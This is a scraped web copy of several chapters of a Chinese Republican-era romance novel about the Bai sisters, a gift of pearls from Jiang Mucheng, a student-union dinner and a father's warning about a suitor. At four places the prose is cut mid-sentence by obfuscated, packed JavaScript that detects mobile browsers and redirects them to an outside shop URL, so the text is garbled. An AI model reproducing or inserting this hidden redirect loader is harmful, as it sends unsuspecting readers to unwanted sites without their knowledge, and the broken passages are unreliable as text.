另一边,白瑾璎先一步回到公馆,家里的女管事虞妈正在客厅里吩咐摆一个青釉花瓶,见她回来了,迎上来道:“可算回来了,今天蒋家的大少爷来过哩!我说你们都约着出门去了,人家硬是在客厅里等了两个钟头,见没人回来,这才走了。” 白瑾璎心里一惊,问道:“他来做什么呢?不年不节的,爸爸也不在家。” 虞妈笑道:“还能为了什么,人家带了礼物,来祝贺你升学之喜呀。要我说,蒋大少爷真是再没什么可挑的了,怎么大小姐就是不喜欢呢,她能不能找到更好的,那真是难说的。”说后半句时,特意压低了声音,生怕白瑾瑜从哪个角落里跳出来,被她听见。 不过白瑾瑜的主意向来很大,哪里轮得上自己管她。虞妈接了白瑾璎摘下的草编帽子,又嘱咐一句:“礼物我给你放在房间里,可别忘了。”便转身做事去了。 白瑾璎应了一声,回房的路上倒一直在想蒋牧城。 白家和蒋家自新政府成立时起就一直交好,不光是白齐盛和蒋伯父,连带着白瑾璎的母亲与蒋太太的关系,都亲密非常。在这层关系之下,年纪相仿的白瑾瑜和蒋牧城会被定一个婚约,那真是再顺理成章不过的事。 对此,白瑾瑜的反应是差点掀了白公馆的房顶,对于蒋牧城,那更是没有半点好脸。 白瑾璎印象最深的一次,蒋牧城来家里做客,仿佛也是被蒋伯母硬推来的,冷着脸静坐在客厅的皮沙发里,只在撞见自己下楼时点了点头算是问候。偏偏那一天白瑾瑜怎么都是不下楼,等她终于下来了,却是穿了一身运动衣,说约了朋友一道去打网球。 还说:“我马上就出门去了,家里几个女佣人,也都放了假,蒋少爷还是快点回家去吧,公馆里是没有人招待你的。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14207998|151037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>白瑾瑜那时刚念大学,正是脾气最大的时候,白公馆所有佣人都对她又怕又敬,她这一发话,就是没放假的佣人,也不敢出来露脸了。蒋牧城的脸色顿时沉得发黑。 他们一个冷一个凶,两边迫人的威压相碰,刚上中学的白瑾璎站在客厅里,便如同被裹挟在鹰隼之间的麻雀一样瑟瑟发抖。 后来,白瑾瑜真就走了个干净,连带着佣人们也不敢出来,只留下白瑾璎一个,觉得实在不该把客人干晾在一边,便端茶又倒水,还带了自己的假期作业到客厅里写,也算是陪一陪客了。 这一段的相处倒是不坏,蒋牧城本就没事可做,还帮忙她检查了一遍算学试卷,教了她两个题。等到白瑾璎觉得饿了,才发觉已经过了快三个钟头,早到了该吃晚饭的时间。 她怯怯地看了蒋牧城一眼,觉得他遭到这般冷遇,实在有点可怜。小声问道:“你还不回家吗?大姐姐什么时候回来,那是难说的。” 蒋牧城抿了抿嘴角,实话说:“母亲让我吃了晚饭再回去,我总不能扫她的兴,我等过了饭点就走。” 可就现在的情形而看,哪里来的晚饭? 白瑾璎跑去厨房想吩咐一声,结果厨房当值的小丫鬟胆子都吓破了,抹着眼泪说:“不敢饿着二小姐,不然我给您炒几个菜,您在厨房将就着吃吧?我、我真不敢端出去呀......老爷不在家,公馆里的事多半归大小姐管,她要解雇谁,都不必费第二句话......” 可是人家巴巴地上门拜访,哪儿有让客人饿肚子的道理?没有法子,白瑾璎只好自己动手下了两碗馄饨。 她也是头一次做这种活,怕馄饨不熟,特意煮久一点,结果内馅儿有一半都漏出来,那卖相真叫是惨不忍睹。煮完后分了两碗,端出去和蒋少爷一起吃。 蒋牧城倒是很给面子,看了眼外皮和肉馅七零八碎的汤碗,又看一眼窘得要命的白瑾璎,一声不吭地把一碗馄饨吃完,略坐一坐就走了。 总而言之,他们这样势同水火的关系,亲事是无论如何也谈不下去的。好在婚约取消后,白蒋两家的关系并没受到影响,蒋牧城又是老成稳重的性格,尤其在海关衙门任职之后,逢年过节再怎么忙,礼总会送到。 白瑾璎推开房门,一眼就看到了放在桌上的方匣子,正想着这会是什么物件,撕开包装纸,里头竟是一个海蓝色的绒面盒子。 白瑾璎心里一惊,再打开看,果然是一件首饰。雪白的一挂珍珠盘在黑色的绒布上,每一颗都个头均匀,莹润饱满,若是洋货行的柜面里有这样一挂,没有八百块是绝拿不下来的。 蒋牧城送这样贵重的礼物,自己真有些诚惶诚恐,可对于这挂项链的喜爱又很盛,正在细看的时候,忽听有人哆哆地敲响了房门。 白瑾璎便暂且关上匣子放在一边,刚一开门,便看见白瑾瑜整个人都倚在门框上。 她像是已经洗过了澡,穿一件丝绸的睡裙并罩衫,笑吟吟地朝白瑾璎夹了夹眼,说:“今晚去我屋里睡,咱们整晚地聊天,怎么样?” 5. 第 5 章 晚上九点钟,白瑾璎用白瑾瑜屋里的盥洗室洗漱完毕,穿了睡衣坐到床上的时候,白瑾瑜正悠哉地倚着床头靠背,随手拿了一本外国杂志在看。见人过来了,便把杂志丢在一边,两人抖着薄被子躺下。 白瑾璎面朝着姐姐侧躺,道:“密斯脱柳送了我一块手表,倒是很实用,样子也好看,就是不好意思他这样破费。” 白瑾瑜一点没有意外的神态,笑了一笑:“你觉得有用,那最好了。现在的先生心都太粗,万事都靠不上,送你礼物的事,还是我提醒他,带着他去洋货行挑的呢。要是让他自己选,那真是抓瞎。” 白瑾璎大吃一惊,撑起身子道:“那你岂不是送了我两遍礼?这怎么好——” 还没有说完,就被白瑾瑜按着肩膀打断了:“哪里的事,我不过陪着挑一挑,省得他送错礼罢了,付账的当然还是他。你是我妹妹,这点心意,他总要表示的。” 这时候,屋子里的灯已经关了,只剩两边床头挂着流苏的台灯点亮着,昏黄色的灯光静谧又轻轻地笼罩着两个姐妹。 安静的呼吸声中,白瑾璎小声问道:“你为什么就挑中密斯脱柳了呢?你是眼里揉不得沙子的人,我以前总觉得,但凡有资格做你的男友,那几乎得是近于完美的人物了。” 白瑾瑜被逗得笑了两声,单手支起上半身来,对白瑾璎眨了眨眼道:“我问你,柳世新长得好不好看?” 白瑾璎愣了一愣,要仔细去回想柳世新的面貌,印象里还是迷迷糊糊的,不过初见时确实是有眼前一亮的感觉,便诚实地点了一点头。 白瑾瑜便笑道:“那就是了。你不要以为只有女子会倚仗自己的美丽,一样的事放到男子身上,只有更盛的。但凡一个男子知道自己可以靠俊俏吸引女子的爱慕,由此生出的自大傲慢,简直不能估量,势必要所有女子围着他转,大事小事都由自己掌控才算数。” 白瑾璎听着有趣,同样撑着上半身靠在枕头上,道:“那不找那些顶俊俏的,不就得了?” 白瑾瑜不以为然地笑了一声,接着道:“那些称不上俊俏的,或有钱或有才,大概总有些别的长处,不过一点,男子对于美丽女性的追求,都是一样的。其中贪婪之辈,更是比女子多出许多。” “一位美貌的女子愿意与一位不那样俊美的男子交往,后者不但不感激对方迁就,相反因自己获得了美人的青睐而洋洋自得,想着这一个喜爱我,别个未必不会喜爱我呢?反而朝三暮四起来。这样的人,不论在国内的大学还是留洋的时候,我可都见过不少。” 白瑾璎先前念的是女子中学,对于男子是何情形,很摸不着头脑。此刻听白瑾瑜说得一套一套,倒是很新奇:“这样说来,男子竟没有一个好人了?我更想知道你喜爱密斯脱柳哪一点了。” 她这个样子,实在有一种懵懂的可爱,白瑾瑜忍不住伸手点了点她的鼻尖,笑道:“我可没有把话说死,不过这样的情境,是很多的。” 白瑾璎也跟着笑起来,道:“我听明白了,你中意密斯脱柳的地方,大概在于他很英俊,却没有英俊男子常有的傲慢,愿意听你的话这一点了。” 白瑾瑜倒很坦荡,含着微笑点了点头,“这我是承认的。莫要说男子,天底下的人,就绝没有一个完美的样子,总有这里那里的不足。就我对另一半的要求而言,他能叫我看着舒服,另外不和我唱反调,不要是游手好闲的无能之辈,那也就够了。” 白瑾璎抿着淡粉色的嘴唇,倒像很困惑似的垂下头,下巴陷进柔软的枕头里。 那样子又让白瑾瑜发出爱怜的笑声,“你不要做出这样疑惑的神态,我教你一个法子吧。等你上了京师大学,就找学校里最年轻的教授,啊呀,你念的是语言系,文科系的教授可不成,心里罗曼蒂克的情怀太过了,感情生活就是一团糟。得劳动你多跑跑理工科的办公室了。” 白瑾璎再一次吃惊地抬头,瞪着圆眼睛道:“教授?” 白瑾瑜弯着嘴角耸了耸肩:“这不过是我的推荐罢了,这个年纪的男学生大多幼稚得要命,肚子里没几两墨水,一味知道唱高调标榜自己。你念的是京师大学,这情形大概好一点,不过我估摸也好不到哪儿去,你就自己留心看着吧。” 因她是已经经历过大学的人,更有一年留洋的经验作参考,这话倒说得很笃定。 白瑾璎顿时拧起秀气的眉头,叹气道:“我粗粗听着,感情的问题倒比做学问还难,我恐怕要交一张白卷。”她倏地抽了一口气,惊慌道,“现在的年轻人谈爱情的越来越早,爸爸不要来催我吧?瑾瑜,姐姐——” 她抓着白瑾瑜的胳膊,温顺漂亮的一双眼睛瞅着她,像是在请求她到时候一定帮自己说两句好话似的。 白瑾瑜楞了一瞬,随即乐不可支地抱着肚子,转着身躺倒在床上,扭头道:“爸爸哪里会来催你?他巴不得你一心只读圣贤书,别被外头的先生迷了心窍哩!你自己也是,千万别有那么大的压力,我刚才说那么多,不过是怕你傻乎乎的受欺骗,恋爱才多大一点事,不喜欢就不谈,谈不拢就分手。” 白瑾璎歪着头静静看了白瑾瑜两秒,压着声音很秘密地问:“你对密斯脱柳也是这样想吗?谈不拢了就分手?这话听着可不大上心呀。” 白瑾瑜重新侧过身来,“怎么不是呢?” 同样凑近了,谈论秘密一般道,“我告诉你一件事,你可别对柳世新说。当初我在英国留洋那会儿,身边的女伴几乎都有爱人,故而三天两头被人追问:密斯白,你怎么没有?” 她低笑了两声,“我之所以答应世新的追求,自然了,一半因为他那张脸实在讨人欢喜,也没有成天混在女人堆里,但也有一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14207999|151037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半是受到了周遭的影响。在同批留学生里,我怎样也是处处拔尖的人,总不至于在恋爱上却大大的落于人后呀。” “好在世新这人不难相处,做事很规矩,凡事也愿意听我的指挥。不过他要是把这些好处丢了,放浪形骸起来,我还迁就他做什么呢?当然是只有分手一途了。谈感情,万万不能抱着只在一棵树上吊死的心思。” 白瑾璎似懂非懂地点头,很受教的样子。 不过就事实而论,她在今晚受到的教导,也确实抵得上过去这么多年所获得的全部认知了。 反倒是白瑾瑜半开玩笑的建议没有用武之地——京师大学聘任的教授们俱都是蓄起了胡子的老先生,连助教都很少有二十来岁的年轻人。白瑾璎对此倒不在乎,教授们的学问很够,这就令她满意了。 不过她在学校的人缘倒是很不坏。 白瑾璎生了一张温驯的鹅蛋脸,常带着秋水一般盈盈动人的眼波,何况她的脾气还很温和,从不给人难堪,于是不论她如何醉心于功课,人家筹办聚会活动时,总不忘邀请她一个。 譬如这一次的活动就办在华容饭店。 华容饭店算是北京城里数一数二的大饭店了,按理说学生们的活动不会选在这里。不过这一次很可以破例,一来学生会在首都青年峰会上的演讲大获成功,峰会的参加者中不乏洋人,可以说在外宾面前大大地替学校争了一回光;二来,学生会中几个骨干成员,大都是家境殷实的公子小姐,便合计着自己出资,办一个庆祝会。 而这一次演讲用到的英文稿子,就是托白瑾璎翻译的,受到了峰会上下一致的好评,自然把她算在邀请之列了。 为了确保将她请到,又特意多请了一位和她要好的女同学,再由那女同学出面,向白瑾璎发出邀请。自然了,他们这样大费周章,绝不会没有缘由。 这天到了十一点钟,白瑾璎一走近华容饭店的大门,距离订好的大圆桌还有十多步路远呢,学生会会长陶伯谦便站起来迎接她:“我们的大功臣来了,快,快请坐。” 他是很八面玲珑的人物,又熟知攒局的规矩,早就妥当地安排好了每个人的座位。坐在白瑾璎一边的,当然是和她关系最好的女同学,另一边却坐了学生会的副会长程佩生。 白瑾璎和他不熟悉,印象里每次去学生会交接,他都是伏案书写,不怎样说话。她正担心冷场,程佩生倒是很客气,微笑着先冲她点了点头,道:“久仰大名了,密斯白的英文造诣,我是很钦佩的。” 为翻了一篇稿子,白瑾璎已经被夸奖多次了,当即有些不好意思,小声说了一句“不敢当”,挨着他坐下。 她大概猜不到,就在陶伯谦起身迎她之前,这位会长就朝对面的副会长秘密地夹了夹眼,那意思仿佛在说:我总算很帮你的忙,剩下的,就看你自己了。 6. 第 6 章 在白瑾璎之后,又到了两位学生会干事,众人齐聚后,由会长陶伯谦带头站起身,举着手里一杯饮料道:“本来不必说这些场面话的,不过这一次成功实在很令人振奋,让我们先碰个杯,多谢在座各位为这一次演讲付出的辛苦努力!” 这实在是一件可喜可贺的事,又有陶伯谦的话做煽动,在座有一个算一个,都欢笑着举起杯子,里头或茶水或饮料,那都不拘,伸长了手往圆桌中间碰了一下。 陶伯谦喝了一口饮料,却并不立刻坐下,而是微笑着又说:“再来么,咱们还得感谢一下我们的程副会长,要不是他动用了一点关系,今天华容饭店的座位,是订不下来的。来,我们再碰一个吧。” 众人立刻响应,将杯子伸向程佩生。 隔得远的,譬如坐在对面的陶伯谦,那当然是碰不到的,不过意思一下而已。程佩生也就意思着先向正中举了举杯,下一个动作,就是侧身和旁边的白瑾璎碰了一碰杯。 在那之后,他也和就近几个同学碰了杯子,只是转身碰的第一下,却是给了不大来学生会的白瑾璎,这在其他同学看来,也就多少明白了一点其中的深意。 反倒是白瑾璎,在他的杯子碰过来的一刻止不住的吃惊,心道,他们把我这一点帮忙,看得太过了,把我这个人,也捧得太高了。 碰杯之后,众人便坐下吃菜,白瑾璎也夹了几筷子,又舀了一碗鸡汤粥慢慢地喝。这是华容大饭店的招牌菜色,每次和家里人来这里用饭,她都要点一瓮。 正喝着,旁边的程佩生突然道:“密斯白这样的才干,怎么不考虑来学生会呢?对于能力的锻炼,是很有裨益的。” 白瑾璎愣了一愣,第一个想到的就是学生会活动繁多,不是举办这个就是应酬那个,恐怕不适合自己这么个喜欢安静,一看书就过去一个下午的性格。何况她最近正对外国文学的翻译感到兴趣,已有两家报社接受了她的投稿,空闲时间就更少了。 但话总要说得漂亮些,白瑾璎思忖道:“语言系的课业实在有些重,余下周末的时间,办一点家庭小活动,也就过去了。” 程佩生似乎并不旨在游说她加入,附和道:“是,这样好的外文水平,非繁重的学习是不能办到的。”又问,“你说家庭小活动,都有些什么呢?我倒有些好奇,既然办活动,密斯白应该是有兄弟姐妹的吧?” 白瑾璎没想到程佩生是这样健谈的一个人,真看不出来,并且他对自己的情况,是很感兴趣的样子。另有一点古怪的,照说他是学生会的副会长,总应该是半个众星捧月的人物,可桌上竟没什么人找他说话,反倒是他一个劲儿地和自己谈话了。 白瑾璎本能地有点心慌,照实说自己有两个姐妹后,便不住地用求救的眼色,看向另一边的女同学。 那女同学被看了两三次后,终于转过身来和她搭话,程佩生也不见生气,继续自顾自地用饭,不过总分了几成注意力在白瑾璎身上,对于她们的谈话,也时不时插上几句。 宴席过一大半的时候,从饭店正门走进一行人,有国人也有洋人,个个穿着板正的西服,由店经理亲自引路,一路往二楼的雅间而去。 其中一个人影尤其颀长伟岸,在这一众人之间都很打眼,似乎是瞥到了自己这一桌的情形,和身边另一位秘书似的人物耳语几句后,竟停下脚步站定了,径自向这边望着。直到落到了队末尾,才抬脚再一次跟上。 那恐怕是有话对自己说呢。 白瑾璎读懂了那意思,和身边的女同学打了个招呼,便循着那一队人的脚部,跟上了二楼。一直走到最靠里的招待最高贵宾的所在,果然,那先生正等候在包间外安静的走廊上。 白瑾璎微笑着走近了几步,道:“蒋二哥,好忙呀。连见面寒暄几句的时间,都要从工作的间隙里挤出来。” 蒋牧城弯了弯嘴角,几分无奈的样子,道:“秋末总是最忙的,许多洋人越洋来洽谈明年一整年的合作,真的到了冬天,万事谈妥了,反倒可以清闲下来。” 又说:“现在再当面恭贺你升学,恐怕太晚了一点,我听说上回你们去香山踏青了,可惜我没有赶上,顽得开心吗?” 虽然那已经是一个多月前的事了,白瑾璎还是答道:“挺好的,姐姐和瑾琪都带了朋友来,很热闹。尤其姐姐带的朋友,还演奏了一段钢琴,精彩极了,我想海关署招待外宾的节目,也不过就是这样了吧。” 蒋牧城的嘴角放平,他在不刻意做笑脸的时候,总是有些正经严肃的表情,沉吟道:“是,现在的年轻人里,弹钢琴确实是件时髦出风头的事。你也欣赏钢琴吗?我倒不知道你还会弹琴。” 说这话时,手指不自在地活动了两下,又很快停住了。 白瑾璎可不敢当,连忙打趣自己道:“不不不,正因为完全不会,所以才佩服人家弹得好。唉,其实我连听,也听不出什么门道来。” 蒋牧城的神情似乎放松了一些,点着头问:“我看你们今天也聚了许多人,是办庆祝会还是生日会呢?坐你边上的男学生,我看着也很面熟。” 真有这样巧的事吗?白瑾璎有些惊奇:“当真吗?坐我边上的是学生会的副会长,名叫程佩生,至于他家里是不是在政府任职,那我就一概不知了。不过,学生会近来总在各大峰会上活动,海关衙门日常又接触那么多人,兴许你就见过他吧。” 上楼之前,程佩生凑在白瑾璎边上不时搭话的样子,蒋牧城都看在眼里,这才有意提一提他。但在得知姓名后,倒真的眉梢微动,似乎是意想不到。 蒋牧城没有马上说话,白瑾璎便想就那份贵重的升学礼物道个谢,只是还没有开口,身后雅间的大门一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208000|151037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开一阖,那秘书似的男人走出来,凑到蒋牧城跟前说:“副处长,欢迎仪式就要开始了。” 他们要工作,自己也不好耽误时间,道谢的话便只能留到下次了。白瑾璎先一步开口:“你们忙吧,我先下去了。” 蒋牧城的目光落回到她身上几秒,点了点头道:“好,替我和你父亲问声好。”说完后又点了点头,这才一面抬手整理着袖口,转身走进了包厢。 等白瑾璎下楼的时候,大家伙儿已然吃得差不多了,一见她回来,陶伯谦首先笑着问道:“密斯白,刚才哪里去了?是不是去办了个秘密事宜呢?” 白瑾璎一时惊呆在原地。看她这个样子,陶伯谦也知道自己猜对了,站起来拱了拱手道:“别见怪,我这样问,实在是有原因的。我刚才去会账时,饭店说已经有朋友帮着会过了,我在桌上问了一圈,谁也不承认认识这样神通广大的朋友。恰好你那时候又不在,那末,也只能是你啦。要我说,这餐饭一定是要我们来请的,没道理让你出力又出钱。” 白瑾璎立刻明白过来,“啊呀”了一声,窘迫道:“真的不是我。不过,刚才遇到家里一位长辈,上去谈了几句,大概是他付的。” 陶伯谦恍然大悟一般“哦”了一声,又笑道:“虽说如此,但这个人情,总归记在你身上,多谢多谢。” 有他引导着,一桌学生会的干事便都向她道了谢。能在学生会混出头脸的,除了真有卓越才干的,其余个个都是人精。试想随随便便就能替小辈会掉一桌高级饭店账单的人,不是大贵也是大富了,也亏得白瑾瑜平日里毫不显山露水。不过和她交好,待她客气一点,那绝没有坏处。 这一下,白瑾璎反倒成了焦点,几乎每个人都想和她搭一句话。好在饭局已经接近尾声,浅浅谈两句就可以收场。 聚餐结束后,有些人另有安排,譬如几个结伴去看电影的男女同学,另外的则直接回家。白瑾璎起身时,程佩生紧跟着问:“密斯白回家吗?我送你吧?刚刚受了你的人情,总要让我投桃报李一下。” 白瑾璎之前被大家恭维得不好意思,直觉得两颊热乎乎的,正拿手背抵在脸上降温,闻言扭头道:“不必,不必。我妹妹今天在学校练跳舞,这个时间,差不多也要结束了,我得去接一接她。” 手背之下,那淡淡的一抹粉红由白皙的肌肤里透出来,像春天淡粉色的樱花似的,程佩生近乎要晃神了,半晌才应声:“哦,好,好。那么学校里再见吧。” 他大概怀着无限的希望说出这一句话,然而却不知道,这个梦想,在晚上的时候就被单方面地打破了。 这天一吃完晚饭,白瑾璎便被爸爸叫去了书房。白齐盛慢悠悠地踱向沙发椅子,含着淡淡的笑容,看向自己顶温驯乖巧的二女儿,问:“你今天,去华容大饭店参加小聚餐了,是不是?” 7. 第 7 章 白瑾璎惊讶了一瞬,笑着问:“消息好灵通,哪一位是你的耳报神?” 白齐盛也笑了一声,道:“我的耳报神,那可太多了,计较这个没有意思。而且,我不光知道你去华容饭店参加聚会,还知道其中有一个叫程佩生的,对你表示出许多好意。” 他将白瑾璎半是错愕半是疑惑的表情收进眼底,接着道:“你们年轻人爱追求罗曼蒂克,我是没意见的,甚至有一半的赞成。换成你姐姐,我不必费这个心,不过你的个性太认真了,我就不得不提前给你打一剂预防针。那个程佩生为人如何我不知道,不过他的父亲,现在财政办公厅做事,手底下的账,有许多不清不楚的地方。他现在官运亨通,不过是因为背后有人保他,但能不能永远保着他,那是难说的。” 白齐盛重新看向女儿,放缓了语调,“所以,我并不希望你和程家那位少爷走得太近,到时候,你一定会伤心的。” 白瑾璎微微地歪着头,似乎是在消化这一番劝慰,片刻后露出一丝窘迫,其中又有一点顽皮的兴奋。抿了抿嘴唇道:“这一次,你的耳报神可不大准了。我和那位程同学,压根就不太熟,在今天之前,甚至连他的名字都不知道,他也未必对我有什么好意。您一下就说罗曼蒂克,那未免想得太荒唐了。” 白齐盛盯着她的脸色看了一瞬,笑道:“我不过是对你提个醒罢了,要是没那回事,就当我白说几句。你一向最有分寸,别的任何事,我都不担心你,唯独谈感情,我就不得不给你把个关。” 这自是一种父爱如山的体现,白瑾璎微笑着绕到沙发椅子后,伸手按在白齐盛的肩膀上摇晃了两下,说:“那当然了,姐姐也说我有些木楞,我很需要爸爸帮我把关哩。” 白齐盛很松快地笑了两声,说:“好了,我也没有别的事,你心里有数就行。去吧。” 白瑾璎应了一声,走到门口时忽然想起什么来,又绕回来道:“对了,我今天在华容饭店遇见蒋二哥了,他让我给你问声好。” 白齐盛的反应倒很平平,像是一点不觉得吃惊,只说:“哦,是吗?我知道海关衙门现在是很忙的。” “是呀,只说了两句话,他就被叫走了。”白瑾璎忽而凑到父亲耳边,分享秘密一般道,“我听见别人喊他副处长呢,可我真有些想象不出他对着外宾高谈阔论,又陪笑脸的样子。” 白齐盛闻言,竟哈哈笑出声来,手指对着她的鼻尖悬空点了两点,说了句“小孩子”。 笑道:“你以为在海关做事,必须是八面玲珑,逢人就笑吗?恰恰相反,我们和洋人是公平平等地交涉,并不是要讨好他们,求着他们做生意,所以像牧城那样的性格反而最好。待人很客气,不会失礼,但也绝不逢迎。” “另有一点,他的嘴很严,姿态也很硬。你想,一个不会把别人的秘密透露给你的人,你是不是也更放心把自己的秘密交代给他?他能这么快坐到今天的位置,我是不奇怪的。” 说罢,倒是很稀奇地打量了白瑾璎一眼,别有深意一般笑着问:“怎么牧城当了副处长,你倒是很替他高兴的样子?” 白瑾璎疑惑似的眨了眨眼,似乎对于父亲有此一问,反倒不大明白的样子,说:“他官运亨通,我当然觉得高兴,换做爸爸和姐姐也是一样的呀,难道还盼着大家跌个跟头吗?” 白齐盛语塞一瞬,顿时失笑道:“好吧,我算明白了。我这一次的耳报神,对你是关心过甚,不过我要说,他实在是多心了。” 另一边,白公馆一楼的客厅里,白瑾琪换上了新买的跳舞鞋,踮着脚行云流水地转了个圈,又配着手势摆了个谢幕的姿势。坐在沙发上的陈芳藻便鼓起掌来:“真嗲*!真漂亮!到时候再穿上带飘纱的洋裙,啊呀,电影里的女明星也不过是这样了!” 白瑾琪略抬了抬下巴,得意道:“可不是!本来程巧书还要和我争主舞的位置呢,老师便让班里的人投票,那自然是我当选!我还说呢,怎么不让我们当场跳一段,那我赢得就更加名正言顺了。” 陈芳藻满脸与有荣焉的笑容,附和道:“别这么说,你们跳了,她不就输得难看了吗?老师也要考虑学生的颜面呀。对了,你们这文艺演出什么时候进行?” 白瑾琪刚说了一句“下礼拜五”,只听门口传来一阵动静,伴随着吴妈的问候声:“大小姐回来啦!” 母女两人略带惊讶地面面相觑,她们知道白瑾瑜今天是约好了和柳世新在外面吃饭的,按照年轻情侣们的习惯,吃完了饭,要么去看场新式电影,要么上跳舞厅消磨两个小时,怎么也不至于那么早就回来。 正这样想着,白瑾瑜已经走进了客厅,整个人竟显得很烦闷似的,沉沉地坐进沙发里,瞥见白瑾琪脚上的鞋子,才勉强提起精神闲谈了一句:“新鞋子?挺不错。” 陈芳藻在白瑾瑜身上栽过跟头,对她一直是有些畏惧的姿态,不敢张扬。故而自她进屋后便自觉地噤了声,此刻听她说话,才讪笑着接茬道:“是呀,班级里排演出节目,咱们瑾琪跳主角呢。” 白瑾瑜便点了点头“哦”了一声,半晌坐起身来,招来小丫鬟让下一碗馄饨。 陈芳藻拧着手里的帕子,正愁没机会从这尊活阎王面前脱身呢,闻言立刻毛遂自荐道:“我去吧,今天正好有新鲜香菇,我让厨房的王妈现切了给你包,很快的。”不一会儿就走没影了。 反倒是白瑾琪,平时可不敢往白瑾瑜的眼跟前瞎凑,不过太少见她这么吃瘪的样子了,竟然也半新奇地挨过去,问:“你不是和密斯脱柳去吃外国菜了吗?怎么还吃馄饨呀?哪一家的外国菜,都不让人吃饱?” 白瑾瑜倒被她逗出了一声笑,慢吞吞地从沙发上起来,坐到了桌边。 正赶上小丫鬟火速端来了一个小沙锅,并一副碗勺,而白瑾璎也从楼上下来了,奇怪道:“咦?怎么这么早就回来了?” 片刻后,三人围坐在一张小桌边,眼看着白瑾瑜一口气吃了一碗小馄饨,紧跟着又舀了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208001|151037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一碗。 白瑾琪眼睛都快瞪圆了,连白瑾璎都面露担忧,问:“你怎么像是没吃晚饭的样子,瑾瑜,你和柳先生真没什么事吗?” 白瑾瑜听到这个名字,讥笑似的冷哼了一声,说:“别提了,我们本来约了一起吃个晚饭,结果他竟一点招呼不打,把他的父母一并叫了来。我也就是顾及他的面子,这才强忍着没有扭头就走,硬是陪了一顿饭,这种情形,我还能有什么胃口?” 白瑾琪“啊呀”一声,看热闹似的亢奋起来:“你们都发展到见父母了呀!”在被白瑾瑜横了一眼后,蔫蔫地重新坐回到椅子上。 反倒是白瑾璎拧着眉头问:“你们之前谈过见他父母的事吗?这么郑重的事,总不能还没谈妥,就全凭他一个人拿主意。” 白瑾琪兴奋完一阵,也算品出了一点“阴谋”的滋味,终于和两个姐姐站到了同一战线,“可不是!姓柳的不和你事先通气,说不定就是想抢占先机,争个长短。不是说恋爱里的两方,先见哪一方的父母,另一方就默认的低一头吗?” 说罢,两人对视一眼,下一秒都看向对面,默默地等着白家老大的反应。 白瑾瑜拿勺子慢慢搅着一碗馄饨汤,思忖着说:“倒是谈起过一次,他觉得我们的恋爱也谈了一年了,是时候见一见家里人,说别个情侣也是这样的进度。我没有同意。” “且不说这一年来我们各忙各的,实则相处的时间并不算多,说对彼此的了解多么深,那不见得。再说,我很厌烦自己的事要拿别人作参考,别个情侣爱怎样怎样,不能以此作为我个人感受的度量。” 也许白瑾琪的年纪还太小,并不能被后半段话勾起深思,墙头草一样倒来倒去,立刻又为姓柳的说起话来:“那可不就是先斩后奏?哈!可见他是急了,想和你结婚的心情,是很迫切了呀!” 白瑾璎听哪边都有那么些道理,又哪边都觉得不对劲,干脆不做声,只默默舀了馄饨汤来喝。 白瑾瑜的态度倒很坚定,气愤道:“那不成,既然我已反对过一次,这就是自作主张。这样重大的事,他都可以说干就干,其余小事,简直不必去想了!” 但很快又调整了情绪,只一笑,说:“反正我就是这个意思,饭一吃完我就和他明说了,且让他自己想去吧。横竖他想不明白,我不见他就是。真烦人,吃个饭也不得安生。” 白瑾琪看看这个,又瞧瞧那个,尤其盯着白瑾瑜瞅了很久。知道她嫌自己小,压根儿不会采纳自己的爱情建议,也就事不关己地哼哼:“那行呗,只是别说掰就掰了。二姐姐最看不得爱情悲剧了,上回你和姓蒋的前姐夫取消婚约时,她就哭了,可不要再哭一次。” 白瑾璎怔楞道:“我哭了吗?怎么我倒不记得。” 白瑾瑜暗自瞧了她一眼,像是不大乐意白瑾璎为蒋牧城表示出费心留神的样子,语调轻松地,当即为这个话题画上句号:“你当然没哭。他统共才来过我们家几回?你怎么会为他流眼泪?” 8. 第 8 章 白瑾瑜说错了,白瑾璎事后好好回想了一下,她确实是哭过。 